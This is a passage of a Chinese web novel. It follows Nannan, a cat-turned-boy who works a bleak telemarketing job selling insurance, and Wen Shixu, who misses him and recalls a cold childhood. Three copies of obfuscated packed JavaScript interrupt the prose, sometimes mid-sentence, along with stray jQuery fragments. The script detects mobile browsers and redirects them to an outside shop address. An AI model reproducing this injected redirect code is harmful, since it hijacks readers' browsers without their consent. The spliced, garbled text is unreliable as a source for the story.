男人带着他七拐八绕,越走越偏,最后停在一栋很旧的楼下。这楼墙皮斑驳脱落,露出里面的红砖,楼道口堆着杂物,空气里有一股潮湿的霉味。 楼梯间连灯都没有,南南摸黑往上走,还差点摔一跤。 顶楼一层都被老板包下来了。地方很小,左手边空荡荡地摆着几张桌椅,右边是几架上下铺,床上堆着乱七八糟的被褥。 “那边是办公区,这边是宿舍。”男人指着最靠近厕所的那张上铺,“那个床位空着,以后就是你的了。” 南南仰头看了看那张床,他完全被找到工作的喜悦淹没了,没觉得这环境有什么不好。 只是他有些不好意思地开口:“那个,我可以借我一些生活用品吗?之后会还的。” 男人大手一挥,转身从角落的柜子里翻出一套床单被褥,还有牙刷毛巾,往他怀里一塞:“先用着!” 南南抱着东西,心里暖洋洋的。 “沐浴露洗发水那些你跟舍友共用就行,不用再买了。”男人想了想,又补充道,“这些东西加起来算你五百块,回头从工资里扣。” 五百块? 小猫对钱没什么概念,他只知道温时序给他买的猫粮一袋就要好几百,于是想也没想就点了头:“好!” 双方都对此刻的场面非常满意。 男人拍拍他的肩:“今晚好好休息,明天告诉你具体工作内容。” 晚上,南南躺在吱嘎作响的上铺上。 舍友们陆续回来了,都是跟他差不多年纪的年轻人,没什么人跟他搭话。灯一关,此起彼伏的呼噜声就响起来了。 南南听力本来就灵,这下更睡不着了。 他翻了个身,床板立刻吱嘎一阵响。他又翻回来,盯着头顶斑驳的天花板。 他好想温时序。 不知道温时序有没有像找那只猫那样去找他?有没有也在想他? 南南从包里摸出一张写丑了的纸条,是偷偷带出来了,没舍得扔。上面写着留给温时序一模一样的话:咪要出去闯世界了,赚大钱养你! 他会做到的。 他要赚很多很多钱,全部都给温时序。他要变得很有用,占据温时序心里最大的那个位置。 他把纸条重新塞回包,闭上眼睛。 明天,他就要开始工作了。 13. 打工中,勿扰 天刚蒙蒙亮,南南就被一阵噼里啪啦的声响吵醒了。他睡眼惺忪地探出头,发现宿舍里所有人都已经起来了,正陆续往洗手间走。 “你们怎么起这么早啊?”南南揉着眼睛,随口喊住经过的一个人问道。 那人正要排队洗漱,被南南这么一打岔,位置立刻被人插了队,没好气地回答:“上班啊,你以为去玩啊?” 南南一愣,赶紧跳下床手忙脚乱地收拾,他记得温时序上班也没起过这么早。 这份工作这么忙,一定很赚钱吧,南南光是想想就充满期待。 等他收拾好跑到隔壁,屋里已经坐满了人,个个对着电脑或电话忙得热火朝天。昨天带他来的那个男人正守在门口,见他进来,抬手看了眼表。 “迟到了,扣五十。” 南南脚步一顿,脸上的笑还没来得及收回去就僵住了。他还没挣到一分钱呢,加上昨天被扣的五百,这已经有五百五十了。他不知道这个数算不算多,但总被扣钱肯定是不行的。 “那个……”南南小心翼翼地往前迈了一步,“能少扣点吗?” 男人连眼皮都没抬,下巴往屋里一扬:“赶紧进去干活。” 南南抿了抿嘴,没敢再吭声。这是他好不容易找到的工作,总不能第一天就被开掉吧。 他在角落里找到自己的工位坐下。坐下之后才彻底懵了,他根本不知道具体的工作内容,附近的人都在打电话,嘴里念念有词,没人看他一眼。 南南想起早上问个话都招人烦,这会儿更不敢开口了,只能干坐着,盯着桌上那台电脑,其实电脑他也不会用。 好在男人没走远。过了一会儿,他端着一摞东西回来了,“啪”地往南南桌上放了一部手机和一叠纸。 “这是你的目标用户,挨个打过去,问他们要不要买我们的产品。”男人指着纸上密密麻麻的电话号码,还有另一张字不算少的纸,“开场白在这儿,像他们一样照着念就行。” 男人又拿出一本小册子拍在南南面前:“这份资料背熟,客户问什么你得答得上来。” 南南低头深吸一口气,攥着那个本子,抬头冲男人用力点了点:“保证完成任务!” 可等他真低头看起资料,没多久就开始犯难了。那纸上的字密密麻麻挤成一片,十个里头一半他都不认识,看得他眼珠子发直,脑袋也开始发胀。 南南揉了揉眼睛,觉得自己可能是对字过敏了,晕晕的,加上昨晚没睡好,现在把眼睛闭上好舒服。可他不敢真歇,又逼着自己把眼睛睁开,硬着头皮把那几行字从头到尾捋了一遍。等终于念完,脑子里空空如也,压根不知道刚才看了什么。 他丧气地往椅背上一靠,耳朵却飘进来旁边工位的声音。 “对,就是那个保险,一年缴三千,很实惠的。” 南南竖起耳朵听了一会儿,慢慢琢磨出点门道来了。 原来翻来覆去都是纸上那几句词吗?他扭头偷偷瞄了一眼,旁边那人手里也没拿小册子,对着电话说得挺顺溜。其他人好像也没谁在翻资料,估计客户都懂,不需要自己解释太多。 这么一想,南南心里又有了底。 他大概记住了别人说的内容,勉强能读完稿子,又默念了两遍,抓起手机,深吸一口气,照着纸上第一个号码拨了过去。 “喂?”是个女人的声音。 南南一紧张,差点把词儿忘了,赶紧盯着纸念:“您好,请问有买保险的需求吗?我们公司最近推出了一款非常优惠的产品……” 他一口气把整段话全说完,这才停下来等对方的反应。 电话那头安安静静的。 南南又等了等,还是没声音。他把手机从耳朵边拿下来瞅了一眼才发现,对方不知道什么时候挂的。 他愣愣地盯着手机,有点儿懵。 出师不利。但南南没有泄气,第一个嘛,练手的,下一个肯定行。 他又拨了一个号。 这回他学聪明了,一边念稿子一边留意着屏幕,对面一挂他就立马收声,绝不多浪费感情。 折腾那么长时间,他拨了少说也有几十个电话,一个成功的都没有。南南握着手机,嗓子都有点儿冒烟了。 他刚准备歇口气再战,电话那头突然说:“我想进一步了解一下。” 南南浑身一个激灵,腰板都坐直了,攥着话筒的手紧了紧:“好、好的!您想问什么?” “续保条件是什么??” “……” 南南愣住了。 他把话筒拿远了一点,呆呆地看着它,又抬头看看桌上的资料,第几页有写来着? 电话那头等了几秒,只听见他这边支支吾吾的,一句话也答不上来,对方不耐烦地挂了。 南南斗志熄灭,慢慢放下手机。 他低头盯着那叠资料,盯了好一会儿,又把它翻开了。 整个上午就这么稀里糊涂地过去了。太阳勉强透过窗户照进来,晒得后背有些热,可南南坐在那儿,只觉得浑身发冷。 他还是那只很穷的小猫。不对,现在是很穷的人了。如果不是公司包食宿,他肯定露宿街头没饭吃。 好没用,挫败感油然而生。 以前在温时序那儿,他什么都不用干,每天除了睡就是吃,顶多把沙发挠几道印子。温时序也不说他,只会叹口气,然后买回来一个猫抓板。 现在才知道钱多难挣。 中午放饭的时候,南南跟着人群往外走,在楼梯口领了一个盒饭。打开只有少得可怜的几片肉,还有没什么油水的炒土豆丝。 南南拿着筷子,突然就没了胃口。 在家的时候,温时序做饭总想着他,那会儿没觉得有什么,现在对着这盒难吃的午饭,才后知后觉地发现,原来自己的嘴早就被养刁了。 他嚼了两口,实在咽不下去,只扒拉了几口白米饭填肚子,别的都不碰。 “小伙子,这些你不吃吗?” 南南一抬头,是早上坐在他斜对面的大叔。大叔正端着饭盒坐在他旁边,眼睛盯着他那几片没动过的肉。 南南摇摇头。 话音刚落,大叔的筷子就伸过来了,三两下把那几片肉全夹走,还扒了很多土豆丝。 “别浪费,别浪费。”他嘴里念叨着,往自己饭盒里扒拉。 南南看着空了大半的盒饭,倒也没觉得什么,反正他本来也吃不下。 大叔把肉塞进嘴里,嚼得津津有味,大概是觉得吃人嘴短,终于舍得抬头跟南南搭话:“小伙子看着不大啊,这么小就出来干活了?” “嗯。”南南抱着饭盒,“想赚钱。” 大叔笑了一声:“赚钱?我儿子也跟你差不多大,整天没个正形,除了伸手要钱啥也不会。” 他说着,目光落在南南脸上,不知道是想起了自家儿子,还是真的对这个瘦巴巴的少年生出几分怜惜,声音突然压低了几分:“我跟你说,你要是能干别的,就趁早走。在咱们这儿行的,都是黑心肝的。” 南南愣了一下。 黑心肝。他知道这个词是什么意思,骂人的,说人坏。 他低头看看自己的饭盒,又看看大叔那张脸。大叔说这话的时候,语气挺认真的,不像在吓唬他。 可南南想了想,还是没接话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467748|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这里确实不怎么样,他到现在一分钱没挣着,还倒欠了五百五。可这是他唯一能找到的工作,包吃包住,不用露宿街头。再不好,也比没地方去强。 大叔见他闷着不吭声,也没再劝,只是伸手拍了拍他的肩膀:“有事可以找我。” 说完,他端着饭盒站起身,慢慢往宿舍方向走。 南南这才注意到,大叔的右脚有点跛,走起来一瘸一拐的,身子往一边歪。 每个普通人都在为生活努力奔波,南南莫名有点眼热,快步上前扶了大叔一把。大叔什么都没说,但走得更慢了。 南南午觉都没敢睡,一直抱着资料研究。隔壁床铺的呼噜声震天响,他愣是一声都没听见,满脑子都是那些拗口的词。 还好那部工作用的手机没被收回去。他可以把不认识的字搜出来,然后听着电子音一字一句地往外蹦。那声音冷冰冰的,没什么感情,可南南听着,竟然狠狠松了口气。 原来这些字是这么念的,这些话是这么解释的。 他捧着手机,把最关键的几句话翻来覆去听了三四遍,直到能磕磕巴巴地复述出来,才舍得放下。 放下手机的那一刻,他突然觉得特别累。 不是身体累,而是精神紧绷着,那种说不上来的累。 他想起自己还是一只猫的时候。 那时候多自由啊,想睡就睡,想醒就醒,高兴了往温时序腿边蹭两圈,不高兴了躲到沙发底下谁也找不着。天晴的时候,他能趴在窗台上看一整天的鸟。 不像现在,被关在四四方方的小房间里,窗户倒是有一扇,可玻璃是毛的,看不清外面,只能透进来一点灰蒙蒙的光。 南南盯着那扇窗户看了一会儿,忽然想起以前被陌生人带去打针的时候,他也是被关在这样一个小房间里,等了好久好久,门才打开,打开又迎接新一轮痛苦。 他甩甩头,把这个念头甩出去。 不能比,那时候是被欺负,现在是来赚钱的。 不一样的。 南南把资料合上,往后一倒,躺在了床上。 困意疯狂涌上来,他迷迷糊糊地想,就眯一小会儿。 “叮铃铃铃铃——” 一阵刺耳的闹钟声劈头盖脸地砸下来。 南南猛地睁开眼睛,心脏砰砰直跳。他愣愣地躺了两秒,才反应过来是哪个床铺的闹钟响了。 然后他听见有人翻身下床,拖鞋在地上啪嗒啪嗒地响。 南南崩溃地把脸埋进枕头里。他就眯了不到五分钟,真的不到五分钟。 下午上工的时候,南南觉得自己的脑袋还是蒙的。他把资料垫在胳膊底下,拨通了电话,磕磕绊绊地解释着,一边说一边紧张地等对方的反应。 对面没挂。南南心里一喜,赶紧接着往下说。 虽然说得不太顺溜,虽然中间卡了好几次壳,虽然有几个词差点又忘了,但他居然全都答上来了。 虽然对方最后也没说要买,只是说“再考虑考虑”,但南南觉得,这好像也没那么难。 临近下班的时候,不远处突然爆发出一阵欢呼。 “来大单了!五万!” 南南循声望去,一个年轻男人从工位上站起来,举着双手,满脸都是笑。旁边的人围过去,有人拍他的肩膀,有人说着“请客请客”,那人的嘴咧得都快到耳根了。 南南远远地看着,心里无比羡慕,如果自己也有单子就好了。 他低下头,继续盯着那叠资料。窗外天色已经暗下来了,灰蒙蒙的光变得昏黄,再过一会儿,就该彻底黑了。 南南把资料翻到新的一页,又拨了一个号。 14. 空空如也,家是,心也是 温时序这边迟迟没有南南的消息,整个人陷入低气压里。于是情景颠倒,这回换他赖在林见溪家沙发上,难得幼稚地不许人家小两口坐一起,非要林见溪赔他的猫。 林见溪被爱人那惊讶中带着嫌弃的眼神看得坐不住了,只好陪着温时序四处找猫。两人折腾半天,最终都铩羽而归。 估计真是自家的猫把南南气走了。看着温时序那副要死不活的样子,林见溪心里也过意不去,可他实在不擅长安慰人,不然徐知榆也不会跑那么远。他憋了半天,才干巴巴地挤出一句:“要不……我买只新的赔你?” 话音刚落就被徐知榆用手肘怼了一下,瞪得他立刻噤声。 温时序步子轻飘飘地回家。临走前,林见溪再三保证会一直帮忙留意,肯定能把南南找回来。 可温时序觉得南南不会回来了。一只喜欢往外跑的小猫,尝过自由的滋味后,还愿意主动跳进名为保护的牢笼吗? 如果南南只是只普通的小猫,他或许不会这么紧张。但事实并非如此。他总忍不住想,南南在外面会不会饿着?只带了两套衣服,下雨了怎么办?万一在大庭广众之下控制不住变成猫,能顺利跑掉吗? 越想越焦虑,打开手机,封面还是南南的自拍。温时序瘫在床上,彻底失去了做任何事的欲望。 他已经失眠两晚了。没有南南时不时蹭过来贴贴,也没有猫半夜吵醒他要吃的,特别不习惯。 他不确定南南会不会回来,但他确定,那只笨猫,一定把自己养得很差。 温时序勉强自己闭上眼睛,睡也睡不踏实,总是迷迷糊糊间伸手去拍身边的位置。拍到空荡荡的床单,才想起来什么,又默默把手缩回去。 结束这一夜并不安稳的觉,温时序连去公司的心思都没了。他打算继续去南南可能出现的地方碰碰运气,说不定能找到它。出门前,他把别墅一楼的窗户全打开,怕万一南南回来进不去。 刚坐上车,手机响了,是姐姐的电话。 “爸让你今晚回来吃饭。” “喵——” 路边突然窜出一只猫,温时序恍惚间像是看见了南南,猛地踩下刹车。他再没心思听电话那头说什么,随口应了一声就把电话挂了。 别墅区里没什么车,他干脆把车停在路边,钥匙都没来得及拔,就循着猫跑过的方向追了过去。 没多久,他看见一只金渐层停在某户人家的院墙上,悠闲地舔着爪子,胸前的铭牌在阳光下闪闪发亮。 不是南南。 温时序在墙下站了一会儿,那只猫瞥了他一眼,跳进院子里走了。他折返回车上,不死心地把整个别墅区绕了一遍,又去了所有南南可能去的地方,故地重游。 最后停在那个带南南去过的公园。 垫子还是那张垫子,铺在原来的草地上。可那个会在旁边蹭来蹭去,用尾巴扫他手背的小猫,现在不知道在哪儿。 钓鱼的老伯又拉起一条鱼,水面泛起涟漪又归于平静。以前这个时候,总会有一只小猫凑过去,用嫌弃的眼神看自己两眼。 温时序盯着那个位置看了很久。 下次给你钓一条很大的鱼,好不好? 温时序在公园坐了一整天,钓鱼的老伯收了杆,拎着桶慢悠悠走了。草地上的光影拉长又淡去,最后连天边最后一缕余晖都消失了。 他也不知道自己在等什么。也许等着等着,那只笨猫就会像以前一样,不知道从哪个角落里窜出来,趾高气扬地走到他面前,用那种“你怎么在这儿?”的眼神看他。 姐姐的电话打来:“到哪儿了?就等你了。” 温时序这才发觉自己还坐在草地上,半边身子都僵了。他应了一声,慢慢站起来,腿有些麻,磨磨蹭蹭去开车。 印象里很久没回来过了。车子驶进那栋熟悉的别墅,院子里还是记忆中那样花团锦簇,晚风里浮动着若有若无的香。 温时序在车里坐了一会儿,看着那些花。 不知道南南喜不喜欢花。 要是喜欢,以后也可以在那边种一点。种什么好呢?猫薄荷?他想象了一下南南在花丛里打滚的样子,嘴角动了动,又落下去。 以后。 得先有以后才行。 他推开车门,走进去,一顿饭吃得很安静。 其实他跟父亲一直不太亲。小时候是怕,长大了是疏远,再后来就变成了一种客气的陌生。姐姐在中间努力调节氛围,倒也撑得起表面上的其乐融融。 只是那层其乐融融薄得像纸,稍微安静一点,就能感受到底下尴尬的气流在涌动。 但也还说得过去。 直到父亲吃完,放下餐具开口:“明天去公司,找不到就不要再找了,一只猫而已。” 温时序抬眼看他,餐厅里忽然安静得过分。 那时候也是这样的语气,轻飘飘的,不带什么情绪,像是在说一件根本不值得被提起的事。 他当时多大?四五岁?记不太清了。只记得自己站在书房门口,父亲背对着他,电话那头不知道是谁在说话。他听见自己的心跳,一下比一下响,等着父亲转过身来,告诉他妈妈什么时候回来。 父亲挂了电话,转过身,看见他站在那儿。 “别等了。”父亲说,“一个人而已。” 一个人而已。 温时序那时候还不太懂“而已”是什么意思,只觉得父亲轻描淡写的语气让他感到不舒服。后来他翻了字典,知道那是不过如此、不值得计较的意思。 原来妈妈也是不过如此吗? 原来他等的那几个月,夜里不敢睡沉怕错过开门声,早上醒来的第一件事就是跑到窗边看有没有车开进来。那些日子,都不值得计较吗? 他把字典合上,再也没有打开过。 小时候的事情,他想起来总是断断续续的,很多地方都模糊了,但有一些画面是清晰的。 清晰的是他的房间。 灰蒙蒙的,连阳光照进来的时候都是灰的,落在他身上,把他也染成灰的。 那段时间他是麻木的。 父亲给他安排了无穷无尽的课程,课表排得比大人的工作日程还满。他不记得自己有没有反抗过,应该是没有的,因为反抗也没用。他只是机械地做着所有被安排好的事,像一台被设定好程序的机器。 姐姐住校之后,连最后一个会摸摸他的头,给他温暖的人也没了。 他不懂为什么书里说世界是彩色的,直到那只猫出现。 温时序永远都会记得那天是个大晴天,记得自己躺在床上,盯着天花板发呆,忽然听见窗外有什么动静。 他转过头,一只流浪猫闯过重重障碍,来到他的窗沿下,头轻轻撞击他的窗,也叩响了他的心门。 小猫的腿在流血,应该是受了伤。 他鬼使神差地下了床,打开窗。小猫往里跳,差点摔下去。他下意识伸手接住,抱了个满怀。 小猫毛都打结了,沾着泥巴和血,还有不知道什么乱七八糟的东西。 但下一秒,小猫蹭了蹭他的手指,温热的呼吸打在手背上。小小的脑袋在他掌心拱了拱,然后整个窝进他手里,像是终于找到了一个安全的地方。 他感受到了它的心跳。 咚、咚、咚。 和他自己的心跳叠在一起。 从那之后,他养了只橘猫,世界变成了橘色的。 他抱着它去浴室,往浴缸里放水的时候,一直跟小猫说话。 小猫怕水,刚被放进浴缸就开始挣扎。但它挣扎的幅度不大,爪子都不敢伸直,像是怕碰伤他。温时序手忙脚乱地想按住它,结果反而让它呛了口水。 小猫咳了几声,湿漉漉的眼睛看着他。 温时序吓得立刻把它捞出来,抱在怀里,用毛巾裹住。他自己身上也湿透了,分不清是水还是汗。 吹毛的时候小猫倒是老实。虽然被吹风机的声音吓得一直发抖,但它没有挣扎,就那么缩在他腿上,把脑袋埋进他肚子。温时序一边吹一边用手轻轻捋它的毛,动作越来越熟练。吹完之后,他顺手也拨了一把自己的头发,把自己也吹干。 一人一猫清清爽爽站在镜子前,小猫的眼睛亮晶晶的,他的也是。 温时序抱着小猫站在房间里,面对它的腿伤茫然了一会儿。他不敢去找父亲,但他实在不知道该怎么办,最后只能硬着头皮去找管家。 管家看了他一眼,没说什么,把小猫抱走了。 温时序站在走廊里,看着管家的背影消失在楼梯拐角,不知道小猫还能不能回来。 那天晚上他躺在床上,盯着天花板,睡不着,想了无数种可能。最好的可能是小猫被治好了,然后父亲让人把它送到别的地方去。最坏的可能……他不愿意想下去。 半夜,门开了。 管家把小猫抱进来,放在他床上,小猫蹭了蹭他的手指,窝进他怀里。 然后父亲站在了门口。 温时序抱着小猫,看着父亲的脸,心跳得厉害。 父亲看了他很久,最后什么都没说,转身走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467749|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温时序后来才想明白,那是父亲允许他留下这只猫的意思。但他也知道,这允许是有条件的,如果他有一点做得不好,小猫随时可能会被送走。 他更认真地学习了。 比以前任何时候都认真,不敢有一点松懈,因为他知道,他犯的每一个错,都可能变成小猫被送走的理由。 可有时候,越想做到的事,越容易失败。 他不知道是怎么回事。明明那么努力了,可成绩还是一落千丈。他看着试卷上的分数,脑子里只有一个念头:完了。 那天晚上他给姐姐打了电话。 姐姐在电话那头听他说完,沉默了一会儿,说:“我来处理。” 第二天姐姐从宿舍回来,把小猫带走了。 “我会找一个有责任心的人收养它。”姐姐蹲在他面前,看着他的眼睛,“你放心,它会过得很好。” 他点点头。他已经哭过了,眼睛是肿的,但没有再哭。 姐姐走后,他站在窗边,看着姐姐离开的路,耳边仿佛还能听见小猫的抱怨。 小猫来得毫无预兆,走得无声无息。从此他隔一两个月都能收到姐姐发给他的小猫照片,直到某天戛然而止,他也没有再问过。只是一直留着那些照片,压在抽屉最下面,从来不看,也从来不扔。 幸好,他后来常常这样想。 幸好他还没来得及给小猫取名字。取了名字就有了牵挂,有了牵挂就更难放手。 幸好姐姐认识靠谱的人,那个人可以替他好好照顾小猫。 姐姐的手落在他肩上,轻轻拍了拍。 温时序回过神来,才发现自己已经在楼梯口站了太久。 “别怪爸,他这个人就这样。今晚好好休息吧,别想太多。” 温时序点点头。 姐姐送他到门口。夜风灌进来,带着院子里花香,凉丝丝的。 车子发动的时候,他从后视镜里看了一眼那栋房子。灯火通明的客厅,二楼主卧亮着灯,窗帘拉得严严实实。 他想起小时候,曾经无数次站在楼下往上看,想知道那扇窗帘后面的人在做什么。后来他不看了,告诉自己什么都不要在意。 有些问题,他从来没有问出口过。 比如,面对一个并不爱的丈夫,有机会可以去追逐自己的梦想,谁愿意放弃呢? 他曾经想过,母亲走的时候有没有回头看一眼,有没有犹豫过哪怕一秒。后来释怀了,因为答案显而易见。 再比如,面对妻子的伤害和抛弃,已经尽力去培养孩子,还能要求他再去拼尽全力爱那个长得越来越像妻子的孩子吗? 父亲不爱他,这件事他很小就知道了。 不是恨,不是厌恶,只是不爱。父亲做了该做的事,只是没有爱而已。 爱又不是必须的。 再比如,那些经历过父母疼爱的人,能完全割舍对家人的感情吗? 姐姐不一样,姐姐比他大几岁,记得母亲的怀抱,记得这个家曾经完整过。所以她可以爱父亲和他,可以在这么多年里一直努力维系着这个家摇摇欲坠的温度。 问题的答案都是否定的。 他没有怪过谁。或者说,他能怪谁呢? 他甚至可以理解每个人的选择,可是他自己呢?温时序握方向盘的手紧了一下。 他不知道。 他只知道,他现在只想南南回到身边。 一只猫。 一只笨笨的,会把自己养得很差的,在他怀里蹭来蹭去的猫。 他想要它回来,想要有什么东西可以真正属于他。 属于他,由他掌控,不会突然消失,不会忽然离开,不会在某一天用那种“一只猫而已”的语气被一笔带过。 他也说不上来为什么是南南。 他拥有的东西不少,但没有一样让他觉得是独属于他的。那些东西随时可以被拿走,可以被替代,可以在他不知道的时候变成别人的。 只有南南。 南南在他身边蹭来蹭去的时候,趴在他腿上睡觉的时候,用尾巴扫过他手背的时候。 那个时候,他觉得自己是活着的,觉得有什么东西是真正和他连在一起的。 他想让南南属于他。 迫切地想。 他知道这个念头太偏执了,可他骨子里就是这样的人。 车子停在了别墅门口。他熄了火,坐在黑暗里,看着那扇他出门前特意打开的窗。 窗帘被夜风吹起来,又落下去。 空空如也。 15. 思念如潮水 南南兢兢业业干了几天,依旧没有订单,不过业务越来越熟练,即使不看小册子也可以侃侃而谈。 他跟大叔也熟络起来,知道大叔叫李建明,有一个儿子跟他差不多年纪,成绩还不错。听说南南没读过书,李建明一直摇头叹气,后来还给南南推了几个网课老师,让南南好好学。 南南向他道谢,从此踏上了一边学习一边工作的道路,从家里带出来的钱,平时省吃俭用,现在基本都用在买学习用品上。课没听几节,就买了很多漂亮的笔记本和乱七八糟的记号笔,一页笔记内容没记多少,色彩搭配倒是很丰富。南南迫不及待拿给李建明看,李建明也是溺爱孩子的人,哄着南南说做得不错,继续保持。 南南学习能力很强,除了英语别的科目都学得不错,算起数来有模有样的。李建明把自己的旧耳机借给他,叫他有空多听听。南南怎么听都不懂,研究半天只会什么“Howareyou?”,念起来也吞吞吐吐,把李建明逗得直笑。 “我不想学英语了,到底有什么用嘛,我们平时也用不上。”南南泄了气,把手机扔开,马上又心疼地捡回来。 公司的手机还是用来工作为主,他为了更方便听课,特意拜托李建明帮他买了部便宜二手机,他现在剩下的钱不够再买一部了,所以千万不能弄坏。 李建明叹了口气安慰他:“慢慢来吧,你不是说要赚很多钱吗?现在外面厉害的老板都是会英语的,相信你以后也可以。” 厉害的老板都会吗?温时序也是老板,他英语肯定很好吧。 如果自己英语都不会,赚的钱肯定没有温时序多,那到时候怎么养他啊。 想到这里,南南重新打起精神,埋头苦读。 高强度学习和工作的后果就是每天起床浑身无力,南南已经蔫了好几天了,连李建明都看不下去,劝他去休息一下。可是他只要一想到温时序,就觉得自己实在太差劲了,咬咬牙还是选择坚持。 偏偏这段时间刮起了大风,气温骤降。南南不出意外地病倒了。起初还能强撑着跟人说说笑笑,后来脸色越来越差,李建明有种自己孩子生病的感觉,实在忍不了了,硬是给他请了假,把人按在床上休息。 南南昏昏沉沉睡过去,半梦半醒间,隐约感觉有人给他掖了掖被角。一只微凉的手覆上额头,轻轻探着温度。很快又有毛巾盖上手臂,缓缓擦拭。来人动作很轻,没什么动静。南南迷迷糊糊想起温时序,脑子很混乱,忍不住往那只手上蹭了蹭。 他觉得自己好像哭了,眼泪烫得自己一激灵,泪水还没来得及流远,就被轻轻擦去了。 “温时序……”我好想你啊。 意识再次沉入黑暗。 “南南?感觉怎么样?” 李建明的声音从头顶传来,把南南从混沌中拉回来。他睁开眼,入目是陌生的天花板,扭头一看,李建明正坐在旁边,满脸担心。 “这是哪儿啊?”南南嗓子发干,声音哑得厉害。 李建明有点不好意思地挠挠头:“一个小诊所,你烧得太严重了,我不放心,但我也没什么钱,只能带你上这儿,不好意思啊。” 南南摇摇头,想说点什么,却实在没力气。他知道,李建明已经尽力了,他俩非亲非故的,人家愿意伸手帮忙,他已经很感激了。 诊所的医生过来检查了一遍,说烧退得差不多了,开点药,休息会儿就能走。李建明抢着把医药费付了,南南拦都拦不住,心里暗暗决定,回头一定悄悄把钱塞他枕头底下。 就这么一请假,南南那本就微薄的工资又被扣了一截。他哭丧着脸盯着客户单,正准备重新投入工作,李建明在旁边念叨:“没事,身体要紧。” 连累李建明也被扣了工资,南南更愧疚了。他默默往那笔钱里又添了两百。这下,是真的穷得叮当响了。 等等。 南南突然愣住,脑子里猛地闪过一个画面,睡着的时候,自己好像喊了某个名字? 他心跳漏了一拍,偷偷瞄了李建明一眼,对方正在看手机,神色如常。 应该没听见吧? 南南艰难地回忆着,越想脸越烫。他当时烧得稀里糊涂,有人来看他,还以为是温时序,好像还蹭了蹭人家的手。 他浑身一僵,恨不得重新变成猫把自己藏起来。 “再休息一下吧。”李建明抬起头关心道。 南南含糊地“嗯”了一声,把资料往上提了提,遮住半张脸。他默默祈祷,没听见,一定没听见。 李建明要是听见了,肯定会问温时序是谁吧?他没问,那就是没听见。 对,一定是这样。 南南在心里反复说服自己,耳朵尖却悄悄红了。 太丢人了。 另一边温时序在不停往家里的零食柜补货,即使上次买的那些动都没动过,他还是固执地把最新口味的零食一样样塞进去,摆得整整齐齐,期待着南南一回来就可以吃到。 角落里的摇椅他每天都会擦,天气渐渐热起来,他又翻出一张小凉席铺在上面。 猫窝早就收起来了。他现在终于明白南南为什么不愿意睡那个窝了,他查了很久,才知道原来静电会让小猫不舒服。 这个认知像根刺一样扎在他心里。 他实在不是一个称职的养猫人,之前还觉得南南不会照顾自己,可到头来,他也没把猫养好。 有时候他会想,为什么那天不在南南的包里多放点现金?哪怕多放几张,至少这样在外面也不会流落街头,可以多几分依靠。 外甥李钦言打过电话来,问南南最近怎么样,又说想来看看小猫。 “小猫不见了。”温时序说。 电话那头沉默了一下,李钦言激动地问:“舅舅,你是不是没照顾好它?” 温时序没有回答,他也不知道自己有没有照顾好小猫。 他一直没有想明白南南离开的原因,只是将其全部归结为是自己不够好。 挂了电话,他漫无目的地走到常去的那家蛋糕店,橱窗里摆着各色甜品,他的目光却径直落在栗子蛋糕上。 他买了一个。其实南南跟他的口味很像,别的都一般,唯独钟爱这家店的栗子蛋糕。 是一只长情又专一的小猫。 父亲下了死命令让他今天去公司,温时序没精力再和他起冲突,没逗留多久就走了。 刚走出去没几步,身后响起蛋糕店店员热情的招呼:“欢迎光临,请问有什么可以帮到您?” 温时序脚步顿了顿,没有回头。 身后的人也没有注意到他。 南南一进店就问起栗子蛋糕。 李建明给他请了一整天假,反正工资已经扣了,剩下的时间还不如出来转转。他揣着兜里所剩无几的钱,站在柜台前盯着价格看了很久。 这家店的蛋糕都不便宜,但他现在有种破罐子破摔的冲动。反正钱怎么样都会花出去,买个栗子蛋糕怎么了?他咬了咬牙,选择奢侈一把。 店员把蛋糕送到他选好的位置上。靠窗,阳光正好,暖洋洋地洒进来。南南眯了眯眼,他已经很久没见过这么好的太阳了,每天都窝在那个阴暗的小房间里,感觉自己都快发霉了。 栗子蛋糕还是熟悉的味道。 浓郁的栗子香混杂在店里的奶油味中,软绵绵地钻进鼻腔。南南舀了一勺送进嘴里,熟悉的味道在舌尖化开,眼眶忽然就热了。 他从来没觉得自己这么爱哭过。 离开温时序之后,好像整个人都变得多愁善感起来。那些以前觉得理所当然的细节,现在想起来都像是梦。温时序给他买的栗子蛋糕,给他准备的小包,给他做的一切,那时候他只觉得不过是寻常事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467750|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在才如梦初醒般体会到,那是爱。 原来爱是有味道的,熏得人直掉眼泪。 南南在蛋糕店坐了一下午。 阳光落下,杯里的水也亮了,他就那么坐着,把所有空闲时间都用来想一件事:什么时候能再见到温时序? 见到了,第一句话说什么? 温时序没见过他的人形,他应该说“第一次见面,可以认识一下吗”?可是对他来说,那是久别重逢,他应该笑着说“好久不见”? 